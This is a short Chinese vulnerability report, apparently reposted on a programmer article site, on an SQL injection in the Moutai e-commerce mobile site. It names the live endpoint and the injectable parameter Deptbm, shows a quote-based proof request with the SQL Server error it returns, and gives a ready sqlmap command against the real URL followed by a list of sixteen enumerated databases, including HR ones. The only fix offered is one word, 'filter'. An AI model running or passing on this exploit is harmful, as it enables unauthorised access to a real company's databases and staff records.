茅台电商移动版存在SQL注入漏洞
程序员文章站
2022-03-22 23:10:15
茅台电商移动版存在SQL注入漏洞
存在注入漏洞服务器
https://wap.emaotai.cn:9000
注入点:
https://wap....
茅台电商移动版存在SQL注入漏洞
存在注入漏洞服务器
https://wap.emaotai.cn:9000
注入点:
https://wap.emaotai.cn:9000/eAPI/API/safe/GetAllPersonOptions?firstlabel=--%E8%AF%B7%E9%80%89%E6%8B%A9%E7%94%A8%E6%88%B7--&firstvalue=&Deptbm=008000000001069&loginid=&usercode=
注入参数:
Deptbm
证明
https://wap.emaotai.cn:9000/eAPI/API/safe/GetAllPersonOptions?firstlabel=--%E8%AF%B7%E9%80%89%E6%8B%A9%E7%94%A8%E6%88%B7--&firstvalue=&Deptbm=008000000001069%27&loginid=&usercode=
{"$id":"1","Message":"发生错误。","ExceptionMessage":"'1' 附近有语法错误。\r\n字符串 ' order by a.xh' 后的引号不完整。","ExceptionType":"System.Data.SqlClient.SqlException","StackTrace":" 在 System.Web.Http.ApiController.d__b.MoveNext()\r\n--- 引发异常的上一位置中堆栈跟踪的末尾 ---\r\n 在 System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)\r\n 在 System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\r\n 在 System.Web.Http.Dispatcher.HttpControllerDispatcher. d__0.MoveNext()"}
python sqlmap.py -u 'https://wap.emaotai.cn:9000/eAPI/API/safe/GetAllPersonOptions?firstlabel=--%E8%AF%B7%E9%80%89%E6%8B%A9%E7%94%A8%E6%88%B7--&firstvalue=&Deptbm=008000000001069&loginid=&usercode=' -p Deptbm
available databases [16]: [*] DrpECO [*] EA [*] gy [*] HR [*] HRTest [*] master [*] model [*] moutai [*] moutaiBak [*] moutaiDev [*] moutaiTest [*] msdb [*] QRTest [*] rsda [*] tempdb [*] test
解决方案:
过滤